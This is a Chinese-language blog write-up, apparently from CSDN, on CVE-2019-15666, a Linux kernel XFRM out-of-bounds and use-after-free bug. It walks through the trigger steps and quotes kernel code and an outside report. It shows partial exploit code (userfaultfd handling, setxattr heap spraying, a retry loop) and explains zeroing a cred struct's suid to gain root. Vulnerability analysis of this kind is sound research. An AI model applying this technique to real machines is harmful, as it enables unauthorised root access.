cve-2019-15666 xfrm_policy

本文揭示了一个存在于Linux内核XFRM模块中的数组越界漏洞,通过精心构造的输入,攻击者可绕过权限检查,触发使用后释放(UAF)漏洞,进一步导致提权。漏洞涉及XFRM_MSG_NEWSA请求处理中的policy插入流程,以及xfrm_policy_id2dir函数中的方向计算错误。利用过程中,结合堆喷和用户故障注入技术,实现了对特定内存位置的零字节写入,从而修改了cred结构体中的suid字段,完成提权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x

漏洞成因,数组越界。需要插入用户定义的 index timer set。
XFRM_MSG_NEWSA请求的路劲添加policy。

添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。
https://duasynt.com/blog/ubuntu-centos-redhat-privesc

static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_userpolicy_info *p = nlmsg_data(nlh);
struct xfrm_policy *xp;
struct km_event c;
int err;
int excl;
err = verify_newpolicy_info(p); [1]
if (err)
return err;
err = verify_sec_ctx_len(attrs);
if (err)
return err;
c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2
xp = xfrm_policy_construct(net, p, attrs, &err);
if (!xp)
return err;
excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;
err = xfrm_policy_insert(p->dir, xp, excl); [2]
xfrm_audit_policy_add(xp, err ? 0 : 1, true);
...
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p)
{
...
ret = verify_policy_dir(p->dir); [3]
if (ret)
return ret;
if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]
return -EINVAL;
return 0;
}

甚至在3.0版本中,根本没有检测。

static int verify_policy_dir(u8 dir)
{
	switch (dir) {
	case XFRM_POLICY_IN:
	case XFRM_POLICY_OUT:
	case XFRM_POLICY_FWD:
		break;

	default:
		return -EINVAL;
	}

	return 0;
}

伪造index = 4 , direction = 0; 将可以通过所有的认证。

触发越界位于 xfrm_policy_timer函数中。

if (unlikely(xp->walk.dead))
goto out;
dir = xfrm_policy_id2dir(xp->index); [5]      index = 4  dir = 4
...
expired:
read_unlock(&xp->lock);
if (!xfrm_policy_delete(xp, dir)) [6]
km_policy_expired(xp, dir, 1, 0);
xfrm_pol_put(xp);
}

其中 利用 xfrm_policy_id2dir();计算了direction。但是

static inline int xfrm_policy_id2dir(u32 index)
{
return index & 7;
}

4 & 7 = 4 ; [6]越界行为。 4 & 3 =0

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst);
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--; [7]
return pol;
}
1. The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 and
priority 0.
2. The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) and
a timer set.
3. XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.
4. XFRM_FLUSH_POLICY request is issued freeing the first policy.
5. Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in the
previous step

步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst
list:

static void xfrm_hash_rebuild(struct work_struct *work)
{
...
/* re-insert all policies by order of creation */
list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) {
	if (policy->walk.dead ||
	xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) { [8]
		/* skip socket policies */
		continue;
	}
	newpos = NULL;
	chain = policy_hash_bysel(net, &policy->selector,
	policy->family,
	xfrm_policy_id2dir(policy->index));
	hlist_for_each_entry(pol, chain, bydst) {
	if (policy->priority >= pol->priority)
		newpos = &pol->bydst;
	else
		break;
	}
	if (newpos)
		hlist_add_behind(&policy->bydst, newpos);
	else
		hlist_add_head(&policy->bydst, chain);
	}

However, the second policy with index 4 (4 & 7 = 4 is
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.

在这里插入图片描述
setp 4: the request to flush policies frees the first policy in [9], leaving the second policy object in its own
disjoint state:

int xfrm_policy_flush(struct net *net, u8 type, bool task_valid)
{
...
for (dir = 0; dir < XFRM_POLICY_MAX; dir++) {
	struct xfrm_policy *pol;
	int i;
	again1:
	hlist_for_each_entry(pol,
	&net->xfrm.policy_inexact[dir], bydst) {
	if (pol->type != type)
	continue;
	__xfrm_policy_unlink(pol, dir);
	spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
	cnt++;
	xfrm_audit_policy_delete(pol, 1, task_valid);
	xfrm_policy_kill(pol); [9]
...

When the preset timer expires on the second policy, the following execution path calls the unlink operation
on the second policy leading to UAF write in [10]:

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
	struct net *net = xp_net(pol);
	if (list_empty(&pol->walk.all))
	return NULL;
	/* Socket policies are not hashed. */
	if (!hlist_unhashed(&pol->bydst)) {
		hlist_del_rcu(&pol->bydst); [10]
		hlist_del(&pol->byidx);
	}
	list_del_init(&pol->walk.all);
	net->xfrm.policy_count[dir]--;
	return pol;
}
hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:
static inline void __hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
WRITE_ONCE(*pprev, next); [11]
if (next)
next->pprev = pprev;
}

The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer
in the freed object gets overwritten with 0 (8-byte write) in [11].

在这里插入图片描述
期间,二次插入后效果如图,现在删除pol1。
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;

*pprev = next ==> pol2->next = NULL;
next->pprev = pprev 没有操作。
最终:
pol2->pprev = pol1。pol2还引用着释放后的pol1值。 堆喷站位。

删除pol2
next = pol2->next =NULL
pprev = pol2->pprev =pol1

pprev = next ==> pol1->next = NULL
next->pprev = pprev ==> 没有操作;

那么我们就可以在二次分配的内存中写入八字节的0; 也就是改写struct xfrm_policy 结构体的 位于bydst的元素。

也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。

poc

整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。

static pthread_t spray_setxattr(int flag, int idx)
{
	pthread_t ret;
	void *addr;
	addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
	if (!addr) {
		perror("mmap");
		exit(-1);
	}

	ret = uffd_setup(addr, 0x1000, flag, idx);
	sem_wait(&shmaddr[idx]);
	if (flag) {
		int c;
		read(pipedes1[0], &c, 1);
	}
	setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
	return ret;
}

		void *addr;
		addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000);
		sem_post(&shmaddr[idx + 1]);
		int c;
		read(pipedes0[0], &c, 1);

		struct uffdio_copy io_copy;
		char src[0x1000];
		io_copy.dst = (unsigned long)addr;
		io_copy.src = (unsigned long)src;
		io_copy.len = 0x1000;
		io_copy.mode = 0;
		if ((idx > (SEM_MAX - 1)) || (idx < 205)) {
			sleep(1);
			if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0)
				perror("UFFDIO_COPY");
		} else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) {
			perror("UFFDIO_COPY");
		}
		sleep(3);

本来有个setup_sandbox启用子命名空间,但是被注释掉了。
对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。
开始没明白,后来看了这个 https://xz.aliyun.com/t/2814
原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。

while true; do ./test && break; done

但作用和传统的堆喷还是有区别的,因为确实没有填任何数据进去,意义在意就在于分割内存,使cred结构体能够被成功的从内存list当中分配,最后利用利用置零漏洞,把特定位置也就是suid的位置置零。

完成提权

大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,需要竞态实现上诉完整过程。

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	uid_t		uid;		/* real UID of the task */
	gid_t		gid;		/* real GID of the task */
	uid_t		suid;		/* saved UID of the task */
	gid_t		sgid;		/* saved GID of the task */
	uid_t		euid;		/* effective UID of the task */
	gid_t		egid;		/* effective GID of the task */
	uid_t		fsuid;		/* UID for VFS ops */
	gid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
......
};


struct xfrm_policy {
#ifdef CONFIG_NET_NS
	struct net		*xp_net;
#endif
	struct hlist_node	bydst;
	struct hlist_node	byidx;
.....
};

typedef __kernel_uid32_t	uid_t;

cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。神奇的是发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值